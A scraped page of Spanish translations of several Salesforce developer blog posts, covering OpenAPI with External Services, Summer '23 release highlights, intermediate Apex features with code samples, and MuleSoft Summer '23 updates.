  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga útil que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). También incluye varios objetos response para esa ruta, que se asignan a los códigos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementación de la ruta. En este caso, está insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolverá un objeto de error. Es importante tener en cuenta que está utilizando los mismos esquemas que definió anteriormente.

Nota: También tiene la opción de excluir ciertas rutas de la documentación pasando hide: true en el objeto de esquema de esa ruta específica, como se demuestra en GET / route.

Su API está lista, así que ejecútela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentación y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, asegúrese de actualizar el script start en el archivo package.json con lo siguiente.

Además, asegúrese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql está disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver cómo se ve implementado, vea mi versión que se ejecuta en Heroku .

Integración de una API externa con Salesforce

Ahora que tiene una API de acceso público, integrémosla con Salesforce como un servicio externo.

Primero, deberá crear una credencial con nombre para esta API. En la interfaz de usuario de configuración, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticación personalizado y una entidad de seguridad.

Asegúrese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API pública.

A continuación, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificación de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificación de OpenAPI. En su demostración, será /api-docs/json .

Después de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los parámetros de entrada como los de salida.

Ahora podrá invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusión

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinación para integrar API externas en su organización de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir fácilmente estas definiciones e invocarlas desde soluciones de código bajo y pro-código, los desarrolladores como usted pueden optimizar el proceso de conexión a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si está interesado en obtener más información sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuación, incluidos videos que muestran cómo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

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Aspectos destacados de la versión para desarrolladores | Aprende Moar Verano '23 ☁️

Aspectos destacados de la versión para desarrolladores | Aprende Moar Verano '23 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Aspectos destacados de la versión para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

¡Haz un gran revuelo con el lanzamiento de Summer '23!

Sabemos que cada versión trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato fácil de digerir con blogs, videos y más.

¡Es fácil empezar!

  • ¡Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos!
  • ¡Únase a nosotros para Release Readiness Live ! Los expertos en productos y los defensores de los desarrolladores analizarán y demostrarán las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisión, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesión de desarrolladores. ¿No puedes unirte a nosotros en vivo? La grabación se publicará unas horas después de que finalice la transmisión.

Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Introducción

¡El lanzamiento de Summer '23 está aquí y está repleto de funciones para desarrolladores! En esta publicación de blog, resumiremos los aspectos más destacados, para que pueda obtener una descripción general de las novedades y decidir qué es lo más interesante para usted. En publicaciones posteriores de Learn MOAR, profundizaremos en algunos de estos aspectos destacados, para que pueda explorarlos con mayor detalle. Mantenerse actualizado con las últimas innovaciones lo ayudará a aumentar su experiencia y convertirse en un desarrollador más exitoso.

Componentes web Lightning

Comencemos hablando de Lightning Web Components, que presentará una gran cantidad de nuevas funciones en Summer '23.

Un par de funciones que estaban en Beta ahora estarán disponibles de forma general (GA). Esto incluye DOM ligero , que permite integraciones de terceros y estilo global, Lightning Web Security para LWC y Aura , que facilita el uso de bibliotecas de JavaScript de terceros en LWC. La API RefreshView , que le permite actualizar la vista de un componente, también será GA. Además, el adaptador de cable GraphQL se está moviendo a Beta, lo que significa que puede probarlo de inmediato, sin tener que registrarse para el programa piloto. Esto cambiará las reglas del juego sobre cómo se leen los datos en Lightning Web Components.

Hay varias mejoras en la sintaxis de LWC que facilitarán la escritura de sus componentes. Se está lanzando una nueva directiva de plantilla lwc:spread (consulte los documentos ), que le permite distribuir propiedades de objetos a un componente secundario, lo que reduce significativamente la cantidad de código que necesita escribir. A partir de Summer '23, podrá establecer un valor dinámico para el atributo de ranura de un elemento HTML. Además, se habilitará la inyección programática de hojas de estilo, lo que le permitirá establecer la propiedad estática de las hojas de estilo para un componente.

¿Ha comenzado a escribir pruebas de extremo a extremo con UTAM? Esta versión también trae mejoras a las capacidades de manejo de errores de UTAM y una extensión de Chrome para identificar objetos de página de UTAM (en Beta).

Móvil sin conexión

Salesforce Mobile App Plus (Salesforce App+) es una versión de la aplicación Salesforce Mobile que habilita LWC Offline. LWC Offline es un entorno de tiempo de ejecución avanzado para componentes web Lightning que aumenta el tiempo de ejecución estándar con funciones diseñadas específicamente para uso móvil y sin conexión. Si bien LWC Offline anteriormente solo estaba disponible en la aplicación móvil Salesforce Field Service, Salesforce App+ le permite usarlo en un contexto más genérico. Salesforce App+ se cerró en Beta en Spring '23 y se trasladará a GA en Summer '23. Salesforce App+ está disponible bajo la licencia Salesforce Mobile Plus.

Integración de plataforma

Tener una plataforma robusta es tan importante como tener capacidades de integración sólidas. Es por eso que la versión Summer '23 trae muchas funciones de integración nuevas.

En esta versión, ampliamos la API REST de Salesforce para admitir la recuperación de elementos secundarios mediante la definición de hasta cinco niveles de consultas SOQL anidadas . También ampliamos la API REST de Connect y la API de Connect (Connect in Apex) para permitir que los desarrolladores creen y administren credenciales con nombre mediante programación. Además, la API GraphQL, que se hizo GA en Spring, ahora admitirá consultas con funciones agregadas y mejorará sus capacidades de manejo de errores . Los eventos de la plataforma también incluyen nuevas funciones, como la capacidad de agregar una clase de devolución de llamada a su código de publicación de Apex , que proporcionará una confirmación cuando el evento de la plataforma se publique correctamente. Además, podrá obtener métricas de uso de eventos de la plataforma consultando el objeto PlatformEventUsageMetric .

También se están mejorando las capacidades de integración en Flow. Flow Builders ahora podrá configurar llamadas HTTP GET a sistemas externos que no tienen una especificación de API abierta a través de la función Servicios externos. Las llamadas HTTP POST están en Beta. Si es un Muley , puede leer más sobre las innovaciones de Flow plus MuleSoft en la siguiente sección.

Además de todo esto, el adaptador GraphQL de Salesforce Connect que anunciamos en febrero se mudará a GA, y Event Relay ahora admitirá Shield Platform Encryption y tendrá una nueva interfaz de usuario de configuración fácil de usar.

Innovaciones entre nubes

Aunque MuleSoft, Tableau y Slack siguen sus propios ciclos de lanzamiento, son partes integrales del ecosistema de Salesforce y de vital importancia para los desarrolladores.

Mula Suave

Una de las innovaciones más recientes de MuleSoft es Anypoint Code Builder (Beta), el IDE de próxima generación de MuleSoft para diseñar, desarrollar e implementar API, integraciones y automatización desde un solo entorno. ¡Compruébalo si aún no lo has hecho!

Si leyó la sección "Integración de la plataforma" anterior, es posible que haya recibido un spoiler: MuleSoft se está integrando en Flow más que nunca. En Summer '23, habrá una nueva sección en la interfaz de usuario de configuración de Salesforce Platform, desde la cual podrá configurar y administrar los servicios de MuleSoft , que luego se pueden usar en Flow Builder. Además, el soporte de MuleSoft se está agregando a Flow Orchestrator , lo que facilita la creación de procesos comerciales automatizados de varios pasos que utilizan los servicios de MuleSoft.

Por último, se lanzará Anypoint Experience Hub . Es la próxima evolución de Anypoint API Community Manager y permite a los clientes crear portales de API en minutos para una mejor participación de API.

Cuadro

Si trabaja con API, es posible que esté familiarizado con la colección Postman de API de Salesforce . Esta colección se ha vuelto muy popular y es ampliamente adoptada en el ecosistema de Salesforce, con actualmente más de 500 bifurcaciones y más de 800 estrellas. Tableau recientemente se subió al carro al agregar sus propias muestras de la API REST de Tableau a la colección. Para obtener más información, lea nuestra entrada de blog .

Si le gustó la colección, le encantará la innovación más reciente de Tableau, cuya vista previa pública se anunció en la Conferencia de Tableau (TC) 2023 del 9 al 11 de mayo. El nuevo Tableau Embedding Playground ofrece a los desarrolladores un entorno de aprendizaje interactivo para desarrollar rápidamente soluciones de análisis integradas. Integre visualizaciones de Tableau y agregue rápidamente interacciones que establezcan filtros y parámetros, obtengan marcas y datos seleccionados, utilizando los componentes básicos de los métodos y las propiedades de la API de incorporación. En el futuro, use sus propias visualizaciones en Tableau Cloud, Tableau Server o Tableau Public para desarrollar sus aplicaciones personalizadas con código que puede exportar y ejecutar en cualquier lugar.

La diversión no se detiene ahí. Para admitir análisis integrados personalizados y seguros, Tableau introdujo recientemente dos nuevas funciones de usuario que permiten a los desarrolladores y administradores pasar cualquier atributo de usuario en tiempo de ejecución dentro del flujo de autenticación integrado. Para obtener más información, leanuestra entrada de blog .

Flojo

Finalmente, nos complace compartir que Slack acaba de anunciar la disponibilidad general de su plataforma Slack de próxima generación. En la nueva plataforma, puede crear aplicaciones modulares mediante el desarrollo de componentes básicos, como funciones, flujos de trabajo y activadores, mediante TypeScript y Deno . Ahora puede implementar en la infraestructura administrada por Slack, ahorrando tiempo y aumentando la eficiencia. En el futuro, los usuarios de Slack podrán aprovechar cada capacidad que ofrece y combinarlas con otras funciones, servicios y proveedores de software para crear automatizaciones potentes y personalizadas. La plataforma también incluye una CLI, que puede usar para desarrollar, probar e implementar sus funciones y flujos de trabajo. Para obtener más información al respecto y obtener experiencia práctica, diríjase a la guía de inicio rápido .

Aprende MOAR

Nuestros gerentes de producto y defensores de desarrolladores están de vuelta para compartir las últimas características y funcionalidades que llegarán en Summer '23. Para ayudarlo a desarrollarse más rápido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas características favoritas. ¡Asegúrese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo último en el blog de desarrolladores de Salesforce para conocer más innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Actualmente se enfoca en el desarrollo de Lightning Web Components y Slack. Puedes seguirla en Twitter o Linkedin .

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Sube de nivel tus habilidades Apex ☁️

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El enlace a la publicación original, lo encontrarás al final de este artículo.

Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad única que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos básicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, límites reguladores y disparadores, son particulares de Apex y cómo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas características y modismos clave, ¿a dónde va después?

En esta publicación, aprenderá sobre algunas características de Apex que son críticas para cualquier desarrollador de Apex que busque mejorar más allá de lo básico, junto con dónde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de código en esta publicación se toman directamente o se adaptan de la aplicación de muestra Recetas de Apex o la Guía para desarrolladores de Apex. Ver las referencias al final del artículo.

En estos días, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opción que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. Aún así, es raro que los problemas comerciales complejos se puedan resolver sin ningún tipo de código.

Introduzca Apex invocable.

La anotación @InvocableMethod se usa para definir métodos llamados por Flow. Y @InvocableVariable muestra los parámetros para que Flow pase datos a su código Apex. ¿Por qué llamaría a Apex desde Flow? Quizás la lógica de su flujo se está volviendo demasiado compleja. Tal vez su automatización necesite realizar una operación que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

Aquí hay una ilustración básica del uso de la anotación @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }»>

Este ejemplo de la Guía para desarrolladores de Apex ilustra cómo la anotación marca esto como un método que Flow puede invocar. Tenga en cuenta que la anotación también define detalles como una etiqueta y una descripción que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable… del que pocas personas hablan es que esto muestra automáticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa útil que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex asíncrono. Lo que trae a colación la siguiente característica de Apex que se debe abordar.

La ejecución asíncrona desacopla una acción que queremos realizar del contexto de ejecución actual. Siguiendo las mejores prácticas actuales, existen tres formas de ejecutar Apex de forma asincrónica: en cola, programable y por lotes. Aunque técnicamente el bus de eventos es asíncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de código para ejecutarlo de forma asincrónica, la opción en cola es la herramienta de referencia. Si tiene varias tareas asincrónicas, queueable las ejecuta de manera determinista en orden. Debido a que están en cola en orden, también puede encadenar una llamada asíncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperaría: ejecute algún código de Apex en un horario. Batch Apex está optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex asíncrono, debe crear una clase de Apex que implemente una interfaz específica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotación @Future para hacer que un solo método sea asincrónico, también conocido como "métodos futuros". Los métodos futuros, aunque rápidos y fáciles, tienen limitaciones que los hacen menos útiles. No hay nada que pueda hacer con un método futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producción con métodos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} «>

Todas las interfaces asíncronas de Apex tienen un método execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicación de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los parámetros que necesita.

El término "Apex dinámico" es un poco inapropiado. O, al menos, podría malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programación dinámico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
función eval !).

Dynamic Apex es un código que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecución. Esto se hace abstrayendo referencias específicas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. También utilizará las funciones de "descripción" de Apex para detectar con qué objetos y campos está trabajando y qué puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, creará una aplicación que debe adaptarse al entorno local del cliente que instala su aplicación. Esto significa que su código necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, también es importante para cualquier persona que quiera escribir código más reutilizable.

Tome este ejemplo de consulta muy básico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];»>

Esto funcionará todo el día consultando los datos de la cuenta. Pero, ¿y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "dinámico", necesitamos abstraer las referencias de campo y SObject específicas. Y tal vez lo incluiríamos en un método que permitiera a otro desarrollador pasarlos. También podríamos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operación que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } «>

Lo anterior construye una consulta para un SObject que se pasa al método y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuación, debe invocarlo.

Así es como podríamos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); «>

Este ejemplo no aborda algunos riesgos de SOQL dinámico, como la inyección de SOQL. Por lo tanto, asegúrese de leer sobre Apex dinámico. Aprender a escribir Apex seguro hará que sea menos probable que implemente código vulnerable en su organización (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex dinámico de ser explotado. El método escapeSingleQuotes() es otra herramienta más antigua que también puede encontrar. El modo de usuario también es clave para garantizar que cualquier acción realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo más completo y seguro de Apex dinámico, consulte la receta de Apex del método invocable en la aplicación de ejemplo Recetas de Apex. Esa acción invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integración sin código. Específicamente, si solo necesita una aplicación o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran automáticamente sin ningún tipo de codificación en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si está integrando su organización a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere código).

Pero a veces, es posible que deba llamar desde su organización a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe más complejidad que una de las API estándar. Nuevamente, Apex contiene funciones que admiten tanto la aparición de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos días, la mayoría de los desarrolladores pensarían en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotación @RestResource . Parte del trabajo de la anotación es definir también el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de métodos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuación, se muestra un ejemplo de un extremo REST básico que aparece en el método HTTP GET. Tenga en cuenta cómo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} «>

Si su requisito es crear un servicio SOAP, también hay un conjunto de características para admitir ese protocolo.

Fuera del código real, necesitará una sesión autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a través de un conjunto de clases. La clase HttpRequest le permite definir los parámetros de cómo se comportará su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a través del método estático Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuración para su texto destacado. Específicamente, deberá configurar una credencial con nombre en la mayoría de los casos. Esta configuración le permite descargar el protocolo de enlace de autenticación de su código. Aunque, si está llamando a un servicio anónimo no autenticado, también puede optar por usar una configuración de sitio remoto más simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticación.

La transmisión de eventos es una herramienta valiosa para crear arquitecturas débilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisión de eventos a través de dos características principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Guía para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de múltiples inquilinos y múltiples nubes basado en un modelo de publicación-suscripción". Tanto su organización como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a través del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject efímero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el método EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el código a continuación que publica un evento.

En Apex, se suscribe a un evento creando un disparador asíncrono para él. Pero los disparadores asíncronos son diferentes de la operación DML transaccional estándar de un disparador normal. Por esta razón, debe tener en cuenta algunas diferencias. Con disparadores asíncronos, el tamaño del lote es diferente. Necesitas configurar tu usuario de ejecución. Las operaciones de activación de eventos también se pueden volver a intentar. Asegúrese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuación.

A diferencia de los disparadores DML típicos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acción explícita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organización, se suscribe automáticamente.

Además de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones débilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas características bastante comunes. Pero es posible que deba aprender otras funciones de Apex según los requisitos de su proyecto. Aquí hay algunos otros elementos que debe tener en cuenta.

Caché de plataforma : si proviene de otras plataformas de programación, estará familiarizado con la noción de una variable estática o global persistente en todas las transacciones. Pero en Apex, las estáticas se limitan a la transacción. La memoria caché de la plataforma es una característica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperación de datos, la memoria caché de la plataforma puede ayudar.

Marcos de activación : no es una característica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el código de activación repetitivo que a menudo necesita escribir. Al usar un marco de activación, debería permitirle concentrarse solo en la lógica que debe abordarse. Para algo más que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentarían que debería considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimización prematura. Hay una implementación muy simple de esto en la aplicación Apex Recipes .

SOSL : el lenguaje de búsqueda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparación con la búsqueda de campos de texto con SOQL y comodines. Admite la búsqueda de varios SObjects simultáneamente y contiene funciones para filtrar de forma determinista los resultados de la búsqueda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el código Apex personalizado en sus componentes web Lightning (LWC), esta anotación es clave. Es muy probable que ya esté usando este si comenzó su viaje de Salesforce creando LWC. Pero si aún no lo ha usado, búsquelo en cualquier proyecto que involucre una interfaz de usuario personalizada. ¿Por qué "Aura" habilitado si es para LWC? Bueno, esta anotación se creó inicialmente para admitir el predecesor de LWC, el marco Aura. Tenía sentido no reinventar una nueva anotación cuando la existente funcionaría igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programación tiene algunas características clave que todos deben conocer. La sintaxis básica, el control de flujo y el modelo de ejecución de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos básicos, trabajar en funciones más avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex asíncrono, el Apex "dinámico", la integración y el bus de eventos son funciones que probablemente utilizará a medida que avanza. Al familiarizarse con estos ahora, no solo se preparará para abordar proyectos en el futuro, sino que también podrá tomar mejores decisiones de solución.

Si cree que está listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y más.

Aplicación de muestra Apex Recipes en Github

Guía para desarrolladores de Apex

Guía de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitación para desarrolladores durante más de 20 años. Pasó los últimos 12 años ayudando a miles de desarrolladores a tener éxito en la plataforma de Salesforce, y más recientemente lideró el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de montaña, cocina y toca música. Sígalo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

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Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 ☁️

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Innovaciones de MuleSoft para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

¡Únase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizarán y demostrarán las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisión, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesión de desarrolladores. ¿No puedes unirte a nosotros en vivo? La grabación se publicará unas horas después de que finalice la transmisión.

Introducción

Con la digitalización y la adopción de la nube, estamos cobrando impulso en el espacio de integración. Para acelerar las innovaciones en el mundo digital, veamos qué emocionantes funciones y lanzamientos MuleSoft tiene para ofrecer en Summer '23 a los desarrolladores.

Anypoint Code Builder: nuevas funciones beta en junio de 23

Anypoint Code Builder , o ACB para abreviar, es el IDE de última generación de MuleSoft. Brinda a los usuarios una experiencia de desarrollo moderna y liviana para integraciones, API y automatización, todo empaquetado en una sola herramienta unificada. Los desarrolladores pueden usar ACB en todo el ciclo de vida de API e integración, desde el diseño e implementación de API hasta la creación de integraciones e incluso la depuración, prueba e implementación de aplicaciones MuleSoft.

Debe preguntarse qué tan diferente es de nuestro Anypoint Studio existente. En primer lugar, adoptamos VS Code como nuestra infraestructura de back-end con recomendaciones de tiempo de diseño basadas en IA. Y estamos llevando la reutilización a un nivel completamente nuevo, con capacidades de bloques de construcción que permiten muchos tipos de reutilización en aplicaciones futuras.

Como muchos de ustedes ya sabrán, Anypoint Code Builder lanzó su Open Beta en enero de 2023. Desde entonces, el equipo ha estado trabajando diligentemente para implementar nuevas funciones para sus usuarios de Open Beta, comenzando con un lanzamiento en abril.

¡Estamos encantados de decir que no estamos disminuyendo la velocidad! Tenemos planeado un calendario de lanzamiento de verano emocionante con muchas características nuevas y mejoras para que exploren nuestros usuarios de Open Beta.

Entonces, ¿cuáles son las nuevas funciones que puede esperar en el lanzamiento de verano del 23 de junio?

  • Soporte extendido al avión de control de la UE
  • Acceso a fragmentos globales y preempaquetados en la interfaz de usuario de Canvas
  • Busque conectores en Anypoint Exchange desde la interfaz de usuario de ACB Canvas
  • La capacidad de diseñar e implementar API de forma iterativa

Se espera que la extensión de escritorio del mercado de VS esté disponible para los desarrolladores en agosto de 2023.

Nuestro lanzamiento de verano es el siguiente paso en nuestro camino hacia GA, que actualmente está planificado para la segunda mitad de 2023.

Anypoint API Experience Hub: GA en junio de 23

Anypoint API Experience Hub permite a las empresas crear portales de API personalizados en minutos utilizando plantillas listas para usar para simplificar el acceso a las API y aumentar su uso y adopción.

Con API Experience Hub, los administradores y desarrolladores de productos API pueden:

  • Cree y comparta portales de API sencillos utilizando plantillas prediseñadas
  • Cree portales de API de marca utilizando capacidades avanzadas de creación de portales con tecnología de Salesforce Experience Cloud
  • Aumente la adopción de API en las comunidades internas y de socios con el consumo de API de autoservicio
